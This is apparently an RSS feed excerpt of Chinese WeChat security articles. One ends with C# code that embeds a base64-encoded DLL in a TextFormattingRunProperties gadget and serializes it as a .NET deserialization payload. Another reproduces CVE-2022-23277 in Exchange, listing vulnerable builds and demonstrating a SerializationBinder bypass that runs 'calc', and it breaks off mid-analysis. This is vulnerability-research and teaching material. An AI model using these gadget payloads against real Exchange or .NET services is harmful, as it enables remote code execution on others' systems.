AAAAAAAAAACInAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AwAAAAAAAAAAAAA8AzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEnAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAeAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAAEQADgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAARAASAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AZABsAGwAAABIABIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAgADIAMAAyADIAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAAEwAEgABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AZABsAGwAAAA8AA4AAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAEQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==&#34;).Replace(&#34;!!classname!!&#34;, &#34;ClassLibrary1.Class1&#34;);<br/>            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(dllloader);<br/>            <br/>            BinaryFormatter binaryFormatter = new BinaryFormatter();<br/>            Stream stream = new FileStream(&#34;1.ser&#34;, FileMode.Create, FileAccess.Write, FileShare.None);<br/>            binaryFormatter.Serialize(stream, obj1);<br/>            stream.Close();<br/>            <br/>            /*<br/>            BinaryFormatter binaryFormatter1 = new BinaryFormatter();<br/>            FileStream stream2 = new FileStream(@&#34;1.ser&#34;, FileMode.Open);<br/>            Object obj = binaryFormatter1.Deserialize(stream2);<br/>            */<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">成功触发：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5805555555555556" src="https://wechat2rss.xlab.app/img-proxy/?k=42435555&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzZWg4ia6IFk8TI6VYPXXgR4V3VbeWjXY61tbtogm89banfibjZn4Z8NBQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考文章</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html" target="_blank">https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://www.cnblogs.com/Ivan1ee/p/16265873.html" target="_blank">https://www.cnblogs.com/Ivan1ee/p/16265873.html</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文介绍了.net反序列化中比较简单的一条链TextFormattingRunProperties及c#中的cc链-ObjectDataProvider，同时推翻了之前的一些错误理解。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">网络安全的学习，道阻且长，行则将至。与诸君共勉。</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499257">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bd223452&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499257%26idx%3D1%26sn%3Da1e50be0d79e7e4c7228945e8caee173%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 31 Oct 2022 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-CVE-2022-23277漏洞复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499229&amp;idx=1&amp;sn=089ef2477b4d07749cffcad2d6372479</link>
      <description>该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过，从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-10-25 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过，从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fbecaf3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz56TP8r07k0Z0I0XA4R03RgicHaW6ZMWoF06gibsPyQPsVdyYnou5bedwQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">DotNet安全-CVE-2022-23277漏洞复现</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过，从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">影响范围</h2><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">  def cve_2022_23277_vuln_builds<br/>    # <a href="https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019" target="_blank">https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019</a><br/>    [<br/>      &#39;15.1.2308.20&#39;, # Exchange Server 2016 CU21 Nov21SU<br/>      &#39;15.1.2308.21&#39;, # Exchange Server 2016 CU21 Jan22SU<br/>      &#39;15.1.2375.17&#39;, # Exchange Server 2016 CU22 Nov21SU<br/>      &#39;15.1.2375.18&#39;, # Exchange Server 2016 CU22 Jan22SU<br/>      &#39;15.2.922.19&#39;, # Exchange Server 2019 CU10 Nov21SU<br/>      &#39;15.2.922.20&#39;, # Exchange Server 2019 CU10 Jan22SU<br/>      &#39;15.2.986.14&#39;, # Exchange Server 2019 CU11 Nov21SU<br/>      &#39;15.2.986.15&#39;  # Exchange Server 2019 CU11 Jan22SU<br/>    ]<br/>  end</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">大约为21年底到22年初的exchange2016及2019.</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">基础知识</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">正确使用SerializationBinder</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">2020年微软修改了对SerializationBinder描述：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13974950560316415" title="null" data-w="1517" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3ca4104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5ScZYImiaEgiaaTHFdIkM5FB4Fbvd5wArR5Ig8cIT9tP3aGiakOhHknJPw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对《DotNet安全-CVE-2021-42321漏洞复现》中SerializationBinder稍加修改：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using System.Threading.Tasks;<br/>using System.IO;<br/>using System.Runtime.Serialization;<br/>using System.Runtime.Serialization.Formatters.Binary;<br/> <br/> <br/>namespace deserialDemo<br/>{<br/>    class Program<br/>    {<br/>        static void Main(string[] args)<br/>        {<br/>            BinaryFormatter binaryFormatter = new BinaryFormatter();<br/>            MemoryStream memoryStream = new MemoryStream();<br/>            RCE calc = new RCE(&#34;calc&#34;);<br/>            binaryFormatter.Serialize(memoryStream, calc);<br/> <br/>            memoryStream.Position = 0;<br/>            binaryFormatter.Binder = new MyBinder();<br/>            object v = binaryFormatter.Deserialize(memoryStream);<br/>            Console.WriteLine(v);<br/>            Console.ReadKey();<br/> <br/>        }<br/>    }<br/>    [Serializable]<br/>    class RCE<br/>    {<br/>        public string cmd;<br/> <br/>        public RCE(string cmd)<br/>        {<br/>            this.cmd = cmd;<br/>        }<br/> <br/>        public override string ToString()<br/>        {<br/>            return $&#34;exec cmd:{cmd}&#34;;<br/>        }<br/>    }<br/>    class MyBinder : SerializationBinder<br/>    {<br/>        public override Type BindToType(string assemblyName, string typeName)<br/>        {<br/>            Console.WriteLine($&#34;assemblyName:{assemblyName},typeName:{typeName}.&#34;);<br/>            Type typeToDeserialize = Type.GetType(String.Format(&#34;{0}, {1}&#34;, typeName, assemblyName));<br/> <br/>            if (typeToDeserialize.Equals(typeof(RCE)))<br/>            {<br/>                return null;<br/>                //throw new Exception(&#34;can&#39;t deseriliza rce class.&#34;);<br/>            }<br/>            return typeToDeserialize;<br/>        }<br/>    }<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">反序列化依旧被执行:</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.30632911392405066" title="null" data-w="790" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d1ddb76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz53lMhH1dBsR6wBOyDRZaRyiciafDmY7tuqQMDNxKlIE8SskM7ytt81KibQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">SerializationBinder的正确用法是判断类型不符合就直接抛出异常。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">从代码层面分析成因</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">BinaryFormatter实现SerializationBinder的功能会调用：System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string):</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8002322880371661" title="null" data-w="861" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bc065fd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5gHoZ2hPqsSGlDPXa34cLticz9vbPKtJlJLHlswFVEnVc9fPBLspPP3g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如果定义的BindToType返回null，则进入FastBindToType逻辑：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6631016042780749" title="null" data-w="935" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1467b7b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5msn1ZqHbHdJF2JRAddNkX6SMnNKib5RlwUurV2PpnM1vyZoMHjLJnVA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">FormatterAssemblyStyle.Simple默认为真， 调用System.Runtime.Serialization.Formatters.Binary.ObjectReader.ResolveSimpleAssemblyName</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.21333333333333335" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6f16722b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5X7dZlb2DQYSNiccOZO97qE8nELHsKAON3mboScpgib7tWpVzKicx2YK5w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不管怎么样都会返回assem，之后进入ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type)：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.36538461538461536" title="null" data-w="936" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=62628f83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795uPW8cOcVUNLdXicET1RJz5gBvwP57S05saJVymWCicbK08IiaibHzeKib1HyBEjxCJAvFV0XtzjJbmfg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最终会根据TypeName获取到程序集合。也就是说，不管BindToType的结果如何(只要不抛出异常)，只要TypeName正常恶意类始终会被加载上。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">SINK</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.BindToType(string, string) :</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" 